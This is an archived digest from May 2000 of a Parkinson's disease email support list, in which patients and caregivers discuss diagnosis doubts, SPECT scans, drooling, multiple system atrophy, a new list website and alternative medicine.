on my --- this time ,and let things go I have >fight for my self . Two days on the phone , I found a >new DR. but now I pray I could get another referral from my DR. > I don't even want to take my >meds . > Audrey C > From CT. Camilla Flintermann, CG for Peter 82/70/55 Oxford, Ohio http://www.newcountry.nu/pd/members/camilla/one.htm <[log in to unmask]> also, on PDWebring at http://members.tripod.lycos.nl/genugten/flinterm.htm "Ask me about the CARE list for Caregivers of Parkinsonians ! " And visit the CARE webring at http://www.crosswinds.net/~caregivers/index.html ========================================================================= Date: Sat, 20 May 2000 17:34:48 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Jim Dolan <[log in to unmask]> Subject: Re: PIENO Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" I just subscribed to this list and missed the original post on this subject. I assume it is a web site; would someone send me the url. Jim Dolan [log in to unmask] At 05:22 PM 05/20/2000 -0400, you wrote: >Oh John that's SUPER-- what a job! As usual, you are makinglife a lot >easier for us, and many many thanks! > >Afterthought: HOW should we pronounce it? PEE-NO? PIE-N-O? As the >"father" of this miracle, you should get to decide! > ========================================================================= Date: Sat, 20 May 2000 15:09:32 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Gordon Seese <[log in to unmask]> Subject: Drooling Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" We just saw the speech therapist regarding this problem. She addressed the phelm(Spelling?) problem. Gordon coughs so much, also. Gargling with salt water. Drinking water. We both seem to skip that over, the famous 8 glasses a day. She has mouth and jaw exercises to do. We see her next week and I'll send her ideas. T.L.Seese ========================================================================= Date: Sat, 20 May 2000 18:11:12 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Bob Anibal <[log in to unmask]> Subject: Re: DR.,and Parkinson's MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I suggest that you follow the doc's request for a scan or whatever - you won't get enough radiation to hurt anything - Cecily, my wife, and I have had catscans inumerable - MRI's and xrays of all sorts - I'm not saying that there is nothing wrong with us but we haven't come up with any disorder attributable to any radiation. Bob Anibal ----- Original Message ----- From: "<Audrey Cashwell>" <[log in to unmask]> To: <[log in to unmask]> Sent: Saturday, May 20, 2000 5:10 PM Subject: DR.,and Parkinson's WelI was told 2 yr's ago I have Pd, they put me on Sinemet cr , and then I was going to do the spect scan ,and then I said no ,I didn't want any radiation in my boby, so then the DR. said well I dont think you have pd , now they are diffrent Dr.'s here . So I thinking he said I dont have PD because I wont take part in his study.1year later ,well I am not happy with my neurologist, all he gives me are my meds ,and see you in 6moths, not good , Two days ago I went to a new neurologist, well he said your to young to be on Sinemet cr thats for later in the PD , then he said I don't think you have Parkinsons, go have the scan done that would tell you if you do. What to do ,now I 'am crying nobody to talk to about this , I told my self I can't just sit on my --- this time ,and let things go I have fight for my self . Two days on the phone , I found a new DR. but now I pray I could get another referral from my DR. I don't even want to take my meds . Audrey C From CT. ========================================================================= Date: Sat, 20 May 2000 15:26:50 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Gordon Seese <[log in to unmask]> Subject: Amount of mail Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Anne just left the list as she could not cope with the volume. Last Fall, when we returned from vacation I did not reconnect the main list for 3 months. has anyone ever suggested limiting the smount of messages from one person per day? After all, every day there are multiple messages from the same people. We'll be leaving for 10 days in a few days. I miss sparkle, but had to have the news.Maybe smiles are better, Piggies. We'll see what I do when we return. T.L.SeeseCG Gordon 71/21 ========================================================================= Date: Sat, 20 May 2000 18:38:21 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "<Audrey Cashwell>" <[log in to unmask]> Subject: Re: DR.,and Parkinson's MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit This is nothing like an MRI. AB-CIT-SPECT SCAN -is a radioactively drug injected into your vein and binds to the dopamine neurons in your brain ,and this happens for about 2 days till they do the scan. Audrey C. ========================================================================= Date: Sat, 20 May 2000 16:14:55 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Juanita Hibbert <[log in to unmask]> Subject: Re: DR.,and Parkinson's In-Reply-To: "<Audrey Cashwell>" <[log in to unmask]>'s message of Sat, 20 May 2000 17:10:06 EDT Content-Type: Text/Plain; Charset=US-ASCII Content-Transfer-Encoding: 7Bit MIME-Version: 1.0 (WebTV) AudreyC, you said you are unhappy with current treatment. Have you seen a movement disorder specialist? This should be your next move if you have not seen one previously. You can always talk to all of us onthe list! However you certainly need a definative diagnosis and a medication program. Good luck and a big hug to you. Juanita CG for George 74 dx 98 ========================================================================= Date: Sat, 20 May 2000 16:14:12 -0700 Reply-To: [log in to unmask] Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Marling McReynolds <[log in to unmask]> Subject: Re: virus/worm In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT bob, and others, Although you get a virus by opening an attachment, worms are different. A worm is part of the e-mail itself, usually in the subject or address. All you have to do is open the e-mail or even preview it to get the worm. Some e-mail programs have a setting which allows you to preview the first few lines of an e-mail before opening it and this is enough to get a worm. Just set the program to NOT preview. I have McAfee with Vshield. It is always on and automatically scans all e-mail before I open them. I have caught the W/Script/kak.worm 4 times now off this list. Because of my Vshield it was deleted before it could get into my computer. I must tell you that it was so strange the first time it happened. I was downloading my mail as usually and suddenly a pop screen with a picture of a hand holding a wiggling bug was there telling me that I had a worm. It is almost sad that I am now beginning to get used to it. And, yes, I was sent the happy99 virus last year too, but deleted it as I do not accept attachments unless I really know what is there. Good Luck folks Marling 51/5 ========================================================================= Date: Sat, 20 May 2000 18:20:13 -0500 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: John Cottingham <[log in to unmask]> Subject: Re: PIENO Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" The main address P-I-E-N-O is: http://www.parkinsons-information-exchange-network-online.com Everything branches from that one page. >I just subscribed to this list and missed the original post on this >subject. I assume it is a web site; would someone send me the url. > >Jim Dolan >[log in to unmask] > > >At 05:22 PM 05/20/2000 -0400, you wrote: >>Oh John that's SUPER-- what a job! As usual, you are makinglife a lot >>easier for us, and many many thanks! > [log in to unmask] Search the parkinsn archive online at: http://james.parkinsons.org.uk Catch the Parkinsn's List Online messages at: http://www.ionet.net/~jcott/parkmail/maillist.html Click the navigation ads and use the new search tools John Cottingham ========================================================================= Date: Sat, 20 May 2000 20:06:19 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: tracy goodbar <[log in to unmask]> Subject: Re: Any help for drooling ? Mime-Version: 1.0 Content-Type: text/plain; format=flowed My mother has had success with getting the little white cotton "rolls" that the dentist uses when they work on your teeth. It's something she had to get used to but she just sticks them in the corner of her mouth and changes them out every 1/2 hour or so. She especially likes them for special occasions, such as weddings, church, etc., where her drooling embarasses her more than just being at home. She has only gotten them through her dentist, 300 or so at a time. >From: Rose Rowton <[log in to unmask]> >Reply-To: Parkinson's Information Exchange Network ><[log in to unmask]> >To: [log in to unmask] >Subject: Any help for drooling ? >Date: Fri, 19 May 2000 22:16:43 EDT > >Hi, >My husband has PD and has so much saliva in his mouth, he drools constantly >wetting the front of his shirts, and if he bends over it just comes right >out >of his mouth. He said he cannot control it. Does anyone know if something >can be done about it. >Thanks in advance >Rose ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Sat, 20 May 2000 20:18:57 -0400 Reply-To: [log in to unmask] Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Cathy Morse <[log in to unmask]> Subject: Re: DR.,and Parkinson's MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Audrey, The one person, IMHO, that you must be comfortable with is your neuro. I know from experience that going to a neuro who you don't like, don't have any confidence in, or for whatever reason are not comfortable enough with to say just about anything to needs to be replaced and quickly. My first neuro couldn't figure out what I had and wound up nearly convincing me all my problems were in my head and I donut mean physically. I waited two more years before going to another neuro who is terrific and even though he is not a movement disorder specialist has sent me to see specialists. He's even had his office manager make the initial contacts for me. The right doctor for YOU can make all the difference in the world. So keep slugging until you find what you want. Insist on a referral if you have to, and if need be have another doctor designated as your primary care physician. I would definitely wait for a second opinion before taking that test seeing how you feel about it. As for the meds, are they helping at all? If you think they are, by all means continue (imh non-professional opinion) until you see the new doctor. You might want to discuss meds with him before he sees you anyway to find out at the very least whether or not he wants to see you medicated. Please see this new guy as soon as possible. If you need another referral or just want another opinion on what this test is all about, I suggest you the npf site at http://www.parkinson.org/index.htm and then head to "ask the doctor". I have found dr leiberman quite help On a personal note as an old CT Yankee who missed the nutmeg state, I know that there are some fine facilities in and around the state. All the more reason to hang in there, don't get discouraged because you will find someone good. Don't let the doctors get you down. Remember.... all of their knowledge is probably academic and come from observing not personally experiencing. (my apologies, in advance, to the physicians on this list. I'm still having trouble coming to terms with "what do you mean there is nothing else you can do?/?" Cathy Audrey wrote in part: WelI was told 2 yr's ago I have ..pd.... , I found a > new DR. but now I pray I could get another referral from my DR. > I don't even want to take my > meds . > Audrey C > From CT. ========================================================================= Date: Sat, 20 May 2000 20:29:49 -0400 Reply-To: [log in to unmask] Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Cathy Morse <[log in to unmask]> Subject: Re: PIENO MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit great site John.. Appreciate your hard and talented work. Cathy John Cottingham wrote: > The main address P-I-E-N-O is: > > http://www.parkinsons-information-exchange-network-online.com > > Everything branches from that one page. > > >I just subscribed to this list and missed the original post on this > >subject. I assume it is a web site; would someone send me the url. > > > >Jim Dolan > >[log in to unmask] > > > > > >At 05:22 PM 05/20/2000 -0400, you wrote: > >>Oh John that's SUPER-- what a job! As usual, you are makinglife a lot > >>easier for us, and many many thanks! > > > [log in to unmask] Search the parkinsn archive online at: > http://james.parkinsons.org.uk > Catch the Parkinsn's List Online messages at: > http://www.ionet.net/~jcott/parkmail/maillist.html > Click the navigation ads and use the new search tools > John Cottingham ========================================================================= Date: Sat, 20 May 2000 20:32:08 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Jo Ann Coen <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine Bob - There are so many methods of alternative medicines, it would be hard for the average person to keep up. But there are many different systems, which believe in meridians, chockras, etc, which "they" describe as energy points. For example, rolfing is one, Reiki is another, kinesiology is one of the best. I truly know very little about acupuncture, only that I had it done and thought I got better faster. Also, with your permission, I could write you personally and tell you of one time that I was much, much better as long as I did the acupuncture, but after I stopped it, it came back. Don't give up on alternative medicines yet. After having worked in hospitals 25 years before changing careers to the real estate business, I learned that doctors could not and would not even consider any medicine except what they were taught in medical school. You probably know that most physicians had only 4 to 8 hours on nutrition, and today that has become a vital part in healing. Who's to say it is "that" thing that cause healing and who's to say it is a placebo effect. I'm here to say that what ever works, can't be criticized. Best wishes Bob, I love your input. Jo Ann from Houston here to ========================================================================= Date: Sun, 21 May 2000 00:46:56 GMT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Judy George <[log in to unmask]> Subject: anyone who might know Mime-Version: 1.0 Content-Type: text/plain; format=flowed i was reading a womans magazine lately and a man from south australia asked for information on multiple system atrophy it was diagnosed firstly as parkinsons and he is asking for information for himself and his wife who has the disease now correctly diagnosed i think i saw a refernece to this some weeks ago but deleted as i wasnt of interest to me i have faxed him this website but would appreciat any help for him ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Sat, 20 May 2000 19:58:03 -0600 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Sylvia Berger <[log in to unmask]> Subject: Re: Non-PD: A lesson for us all... MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Gail Vass wrote: BIG ROCKS One day an expert in time management was speaking to a group of business students and, to drive home a point, used an illustration those students will never forget.......... Hi Gail - what a memorable way to teach a lesson we all need to know! Now if I could only do that and 'accept the things I can't change, change those I can and have the wisdom to know the difference' or words to that effect. Thanx for sharing it Sylvia ========================================================================= Date: Sat, 20 May 2000 22:11:28 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Camilla Flintermann <[log in to unmask]> Subject: Re: MSA info (long) In-Reply-To: <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable >i was reading a womans magazine lately and a man from south australia asked >for information on >multiple system atrophy >it was diagnosed firstly as parkinsons and he is asking for information for >himself and his wife who has the disease now correctly diagnosed >i think i saw a refernece to this some weeks ago but deleted as i wasnt of >interest to me >i have faxed him this website but would appreciat any help for him >________________________________________________________________________ >Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com Judy--- Here's some info that may help him--- You are invited to join the Multiple System Atrophy electronic mail discussion list. You'll find patients and caregivers sharing information on symptom management and coping strategies for dealing with the various forms of MSA which include Shy-Drager Syndrome (SDS), non-hereditary Olivopontocerebellar atrophy (OPCA) and Striatonigral Degeneration (SND). Anyone is welcome to join regardless of diagnosis. This list is sponsored by David Robertson, GCRC at Vanderbilt University Medical Center. The list manager is Sylvia Dickinson, RN. To subscribe to the list: Send an email to: [log in to unmask] and in the body of the message write subscribe Shy-Drager We hope that this list will serve as a forum to exchange information and support for those who are diagnosed with various forms of Multiple System Atrophy, their families and friends as well as anyone who has an interest in this disorder. Please send a message to the list (if you want to) introducing yourself and any MSA related topic you would like to discuss. The introductory message as well as all other "public" messages should be sent to the following Internet address: [log in to unmask] Your message will be automatically sent to all subscribers. Conversely, you will receive all messages sent to the above address. If you want to REPLY *PUBLICLY* to the sender of a message, use the "REPLY" feature of your mail system. (In other words, the message will be returned to the list server and will be distributed in that way.) If you want to REPLY *PRIVATELY* to the sender of a message, you must "SEND" to that person's email address. To LEAVE the list at any time, address an email message to [log in to unmask] and in the body of the message write: unsubscribe Shy-Drager It is a good idea to leave the list if you are going to be away from your computer for a couple of months. To resubscribe, simply address mail to: [log in to unmask] and in the body of the message write subscribe Shy-Drager Please do not write subscribe and unsubscribe messages to the [log in to unmask] address. They will go out to everyone on the list. *********** Parkinson's Report National Parkinson's Foundation, Inc. VOLUME XIX - ISSUE 2 / Spring 1998 Multiple System Atrophy By members of the National Parkinson Foundation Center of Excellence at Vanderbilt University, including David A. Robertson, Director, Nathan S. Blaser Shy-Drager Research Laboratories; Thomas L. Davis, Director, Movement Disorder Clinic; and Ariel Y. Deutch, Director, NPF Center of Excellence Although the cause of idiopathic Parkinson=EDs disease is unknown, Parkinson= =EDs disease is probably the best characterized of the neurodegenerative disorders. The loss of dopamine in the striatum is the major contributor to the disorder. However, there are several other neurodegenerative disorders involving several different systems in the brain, in which striatal dopamine loss is also found. Among these other neurodegenerative disorders is multiple system atrophy (MSA), in which degeneration in diverse brain regions leads to problems in the control of movement, balance, blood pressure, and sexual and urinary tract function. MSA is often accompanied by some striatal dopamine loss and in certain patients typical parkinsonian symptoms are either the first noted or the most prominent. A number of areas of the brain are involved by MSA. This has led to differen= t varieties of MSA receiving different names, depending on which area of the brain has predominant involvement. When MSA begins with imbalance, incoordination, and difficulties in speaking (dysarthria), it is often called olivopontocerebellar atrophy; as the name suggests, this form of MSA is marked by degeneration in the cerebellum, a structure involved in balance and learned motor tasks. When a patient initially has rigidity (stiffness) and slowness in initiating movements (bradykinesia) that is out of proportion to tremor, this MSA form has been called striatonigral degeneration, involving communication between nerve cells in the striatum an= d midbrain. In patients in whom changes in autonomic function dominates the initial presentation, particularly changes in blood pressure regulation, the MSA form is often called Shy-Drager syndrome. Between 25,000 and 100,000 American have multiple system atrophy. However, many will not receive the correct diagnosis during their lifetime. This is due to the difficulty in differentiating MSA from other disorders (including relatively common degenerative disorders such as Parkinson=EDs disease and more rare ones such as pure autonomic failure). MSA usually occurs after age 50, with a slightly higher incidence in males. Patients usually have autonomic nervous system dysfuncti= on first. Genitourinary dysfunction (difficulty with urination) is the most frequent initial complain in women, while impotence is the most frequent initial complaint in men. Orthostatic hypotension (a large drop in blood pressure upon standing) is common and may cause dizziness, dimming of vision, head or neck pain, yawning, temporary confusion, slurred speech, and if the hypotension is severe, the patient may "faint" upon arising from a recumbent position. In spite of low blood pressure while standing, it is common for MSA patients to have high blood pressure wh= en lying down. A fall in blood pressure following meals or in hot weather or following infection is quite common. When MSA begins with non-autonomic features, imbalance is the most common feature. This difficulty in maintaining balance may be due to either cerebellar or Parkinsonian abnormalities. Some patients complain of stiffness, clumsiness, or a change in handwriting at the onset of MSA. The concurrent involvement in MSA of multiple brain systems subserving movement, including the striatum, cerebellum, and cortex, leads to the movement disorder as often being the most profound disability. Hoarseness or even vocal paralysis are relatively common, as are sleep disturbances, including snoring and sleep apnea. The ability to swallow foods and liquids may be impaired. The initial diagnosis of MSA is usually made by carefully interviewing the patient and performing a physical examination. However, more testing is often needed to confirm the diagnosis. Among the tests that are helpful in determining the presence of MSA are several types of brain imaging including computerized tomography (CT) scans, magnetic resonance imaging (MRI), and positron emission tomograp= hy (PET). Pharmacological challenge tests (administering certain drugs in the presence of various types of movements of the patient) may also be of help. In those patients with typical parkinsonian signs, an incomplete and relatively poor response = to dopamine replacement therapy (such as l-dopa [Sinemet]) may be a clue that M= SA is present. The characteristic involvement of multiple brain systems is a defining feature of MSA, and one that on autopsy confirms the diagnosis. Recently, several group= s have reported the presence of unusual inclusions in certain types of brain cells. These glial cytoplasmic inclusions are, as the name indicates, typically found in glial cells, which are the structural and metabolic support elements of the brain but are not neurons (nerve cells). Glial cells are central to maintaining the correct balance of ions in the brain, without which neurons cannot survive. Moreover, glial cel= ls express certain proteins that accumulate and thereby limit extracellular excitatory amino acids that can be toxic to neurons. These functions of glial cells, coupled with the presence of glial cytoplasmic inclusions in MSA but not Parkinson= =EDs disease, have sparked considerable research interest. It is noteworthy that = a different type of intracellular inclusion in nerve cells, the Lewy body, is present in Parkinson=EDs disease but not MSA. In MSA, there is loss of function in the two divisions of the peripheral nervous system: the sympathetic and parasympathetic nervous systems. Although the autonomic nerves themselves are largely intact, the brain loses its capacity to properly engage them to control the autonomic function. Consistent with the involvement of many brain regions in MSA, the concentrations of many neurotransmitters in the brain are reduced in MSA. As with Parkinson=EDs disease, the cause of MSA remains unknown. Antibodies = in the spinal fluid of patients with MSA have been shown to react with a specific area in an experimental animal brain, raising the possibility that MSA may be related to an abnormality of the immune system. It is also possible that MSA is due to abnormal folding of some unknown protein. At this time, however, these observations require independent confirmation in large groups of patients, and the relationship of such changes to specific symptoms in MSA remains unclear. What is clear is that there is a compelling need for research into the causes, and hence treatment and cure, of MSA and Parkinson=EDs disease. MSA is a rare and sporadic disorder and available evidence does not support = a hereditary component to the disorder. Among more than 400 patients evaluated at Vanderbilt University Medical Center=EDs Autonomic Dysfunction Center during= the past 20 years, not one had a family member with MSA, although a number of th= em had family members with Parkinson=EDs or Alzheimer=EDs disease. While it is possible that a few of these family members diagnosed with Parkinson=EDs or Alzheimer= =EDs disease might have actually had MSA, available data strongly suggests that MSA is not inherited. In Parkinson=EDs disease there is a similar but not identical situation, with hereditary forms of the disease representing only a small minority of t= he patients; even in these patients, the disease process differs somewhat from idiopathic Parkinson=EDs disease. There is no evidence that MSA is contagious; we have never observed people in the same house who developed the disease. Given the relative rareness of MSA and the frequent misdiagnosis of the disorder, it is not surprising that there is a paucity of careful epidemiological investigations of MSA that allow one to identify predisposing environmental factors. Although one report raised the possibility of a small effect of exposure to environmental toxins and another report suggested a slight correlation with prior head injury, these claims have not yet been supported by other studies. In particular, MSA does not appear to be related to or caused by prior alcohol or drug abuse, poor nutrition, or other disease process earlier in life. MSA may progress rapidly. Patients survive an average of nine years followin= g onset of illness; some patients live as much as twice this long. Current treatment of MSA is symptomatic. The most valuable agents to increase blood pressure are fludrocortisone and midodrine. In addition, most patients with MSA derive so= me benefit from typical antiparkinsonian medications such as levodopa (Sinemet)= , dopaminergic agonists (pergolide and bromocriptine), and anticholinergic drugs. In summary, MSA is a severe neurodegenerative disorder of unknown cause. The= re is currently no cure for MSA, nor is there any therapy available that stops or slows the progression of the disease. At this time, treatment is aimed at treating problems as they arise, and thus requires careful monitoring of the patient by a skilled and experienced clinician with expertise in MSA. The lack of specific treatments to cure or slow the progression of MSA is disheartening to patients and their loved ones and caregivers. However, exensive research efforts aimed at advancing our understanding of MSA, Parkinson=EDs disease and other neurodegenerative disorders are in place, and we have enjoyed a period of very rapid advances in understanding of the pathophysiology of neurodegenerative disorders. We can expect such advances to culminate in a better understanding and treatment for MSA and Parkinson=EDs disease over the next decade. Multiple System Atrophy Olivopontocerebellar Atrophy Striatonigral Degeneration Shy-Drager Syndrome Symptoms of MSA difficulty with urination impotence orthostatic hypotension gastric fullness loss of sweating frequent nighttime urination imbalance incoordination hoarseness/snoring muscle weakness Parkinson=EDs Disease vs. Multiple System Atrophy: Observations Suggestive= of MSA Poor response to Sinemet Low blood pressure on standing Difficulty with urination Use of a wheelchair Loud snoring or loud breathing Frequent nighttime urination Treatment of MSA Fludrocortisone (blood pressure) Midodrine (blood pressure) Sinemet (movement disorder) Dopaminergic Agonists (movement disorder) Anticholinergics (movement disorder) Erythropoietin (anemia) Camilla Flintermann, CG for Peter 82/70/55 Oxford, Ohio http://www.newcountry.nu/pd/members/camilla/one.htm <[log in to unmask]> also, on PDWebring at http://members.tripod.lycos.nl/genugten/flinterm.htm "Ask me about the CARE list for Caregivers of Parkinsonians ! " And visit the CARE webring at http://www.crosswinds.net/~caregivers/index.html =20 =09 ========================================================================= Date: Sun, 21 May 2000 04:16:30 +0200 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Hans van der Genugten <[log in to unmask]> Subject: Re: anyone who might know MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit -----Oorspronkelijk bericht----- Van: Judy George <[log in to unmask]> Aan: [log in to unmask] <[log in to unmask]> Datum: zondag 21 mei 2000 2:48 Onderwerp: anyone who might know >> information on multiple system atrophy << http://freepages.health.rootsweb.com/~charmayn/links.html Hans. ========================================================================= Date: Sat, 20 May 2000 22:24:16 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Camilla Flintermann <[log in to unmask]> Subject: Recovery from shingles? Comments: To: CARE list <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Dear friends---a non-PD friend has inquired on behalf for help for another friend who is recovering from shingles and is in real distress, with depression on top of the pain. His doc prescribes epidurals for him, but he is fearful about how long it may take to recover and be free of pain. I recall that there has been discussion of shingles on the lists, so am wondering if anyone can share experiences that may be more encouraging than the *5* years his doctor has quoted ? Please answer to me offlist , and I'll pass it along. Thanks Camilla Flintermann, CG for Peter 82/70/55 Oxford, Ohio http://www.newcountry.nu/pd/members/camilla/one.htm <[log in to unmask]> also, on PDWebring at http://members.tripod.lycos.nl/genugten/flinterm.htm "Ask me about the CARE list for Caregivers of Parkinsonians ! " And visit the CARE webring at http://www.crosswinds.net/~caregivers/index.html ========================================================================= Date: Sat, 20 May 2000 20:40:43 -0600 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Sylvia Berger <[log in to unmask]> Subject: Re: PIENO MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit John - am trying to access your site The ionet.net site says that it's moved and it'll redirect to PIENO but Netscape can't find you. Where IS it? - Sylvia John Cottingham wrote: > The main address P-I-E-N-O is: > > http://www.parkinsons-information-exchange-network-online.com > http://james.parkinsons.org.uk > Catch the Parkinsn's List Online messages at: > http://www.ionet.net/~jcott/parkmail/maillist.html > Click the navigation ads and use the new search tools > John Cottingham ========================================================================= Date: Sat, 20 May 2000 18:08:48 -0700 Reply-To: Constance Tate <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Constance Tate <[log in to unmask]> Subject: PIENO MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit dear john the page comes up as cannot be displayed maybe there is a mispelled address connie ----- Original Message ----- From: John Cottingham <[log in to unmask]> To: <[log in to unmask]> Sent: Saturday, May 20, 2000 4:20 PM Subject: Re: PIENO > The main address P-I-E-N-O is: > > http://www.parkinsons-information-exchange-network-online.com > > Everything branches from that one page. > > >I just subscribed to this list and missed the original post on this > >subject. I assume it is a web site; would someone send me the url. > > > >Jim Dolan > >[log in to unmask] > > > > > >At 05:22 PM 05/20/2000 -0400, you wrote: > >>Oh John that's SUPER-- what a job! As usual, you are makinglife a lot > >>easier for us, and many many thanks! > > > [log in to unmask] Search the parkinsn archive online at: > http://james.parkinsons.org.uk > Catch the Parkinsn's List Online messages at: > http://www.ionet.net/~jcott/parkmail/maillist.html > Click the navigation ads and use the new search tools > John Cottingham > ========================================================================= Date: Sun, 21 May 2000 05:21:16 +0200 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Hans van der Genugten <[log in to unmask]> Subject: Re: DR.,and Parkinson's MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit -----Oorspronkelijk bericht----- Van: <Audrey Cashwell> <[log in to unmask]> Aan: [log in to unmask] <[log in to unmask]> Datum: zaterdag 20 mei 2000 23:10 Onderwerp: DR.,and Parkinson's Audrey wrote: >> This is nothing like an MRI. AB-CIT-SPECT SCAN -is a radioactively drug injected into your vein and binds to the dopamine neurons in your brain ,and this happens for about 2 days till they do the scan. << Hi Audrey, From your post I understand that it is not sure yet you have PD, but you do have Parkinsonian symptoms. PD can not be diagnosed by ANY test or scan yet, so the neuro has to do that mainly based upon the symptoms you have. And if you don't clearly have the "standard" symptoms of PD, the neuro will not be able to make a clear diagnose. There are however a few means to narrow it down and make the suspected PD-diagnose a bit more reliable. - the neuro gives you levodopa. If your symptoms respond positively, that makes it more probable you have PD. - you can have a SPECT scan. The binding %% of the radioactive agent with the dopamine neurons also gives the neuro an extra indication in the dilemma "PD, or NOT PD". There are several types of these "radioactive" SPECT scans. The difference is in the diagnostic purpose they are used for and therefor the used radioactive stuff differs. Some radioactive material has a short time before it becomes inactive, some a longer period. Therefor in some cases a SPECT can be done shortly (2 hrs) after the injection, in other cases - like yours - two days later. Although all these scans use radioactive material, all this material is administered in such a low concentration, that it is very unlikely to have any negative result on your health, eventhough two days may seem long to you. And as an extra precaution during that time you get other meds, to make sure the radioactive material binds ONLY to the dopamine neurons in the brain and NOT to other organs like the thyroid gland. After the scan it only takes a short period before ALL the radioactive material has been excreted from your body by the kidneys. Hans. ========================================================================= Date: Sat, 20 May 2000 23:30:35 -0400 Reply-To: [log in to unmask] Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Michel Margosis <[log in to unmask]> Subject: Re: It's Official P-I-E-N-O is GO! MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I am stupefied with admiration for your combined work with the Great Lady of the year. Your support is enabling a great many PWP to stand in a warmer glow from your endeavors until the cure comes. Gratefully, Michel Margosis 'Carpe Diem' ========================================================================= Date: Sat, 20 May 2000 20:41:50 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Robert A. Fink, M. D." <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Date sent: Sat, 20 May 2000 20:32:08 EDT Send reply to: Parkinson's Information Exchange Network <[log in to unmask]> From: Jo Ann Coen <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine To: [log in to unmask] > You probably > know that most physicians had only 4 to 8 hours on nutrition, and > today that has become a vital part in healing. Who's to say it is > "that" thing that cause healing and who's to say it is a placebo > effect. I'm here to say that what ever works, can't be criticized. I have much more training in nutrition than 8 hours' worth. And I didn't go to a "special" school for it, either. I do not decry people who "get better" after "alternative treatments". But before I will accept a causative connection, it has to be proven scientifically. I remember that someone pointed out the fact once that of all convicted murderers on death row, virtually 100% were cigarette smokers. Thus, one could say that cigarette smoking leads to murder. Even scientific studies are occasionally proven false because of some inherent bias. When I was in medical school, there was a disease called Buerger's Disease (a disease of blood vessels which led to gangrene and amputations) that was reported to be a disease of "Jewish people of Eastern European origin". The occasional case described in African-Americans was shrugged off as an anomaly. Well, it was subsequently figured out that Dr. Buerger, when he wrote his paper on the disease, was using patients from the Montefiore Hospital of New York City; where most of the patients were "Jewish people of Eastern European origin". I will accept people's *observations*, but before I accept a cause/effect relationship, I will require scientific proof. Best, Bob ********************************************** Robert A. Fink, M. D., F.A.C.S., P. C. 2500 Milvia Street Suite 222 Berkeley, California 94704-2636 Telephone: 510-849-2555 FAX: 510-849-2557 WWW: 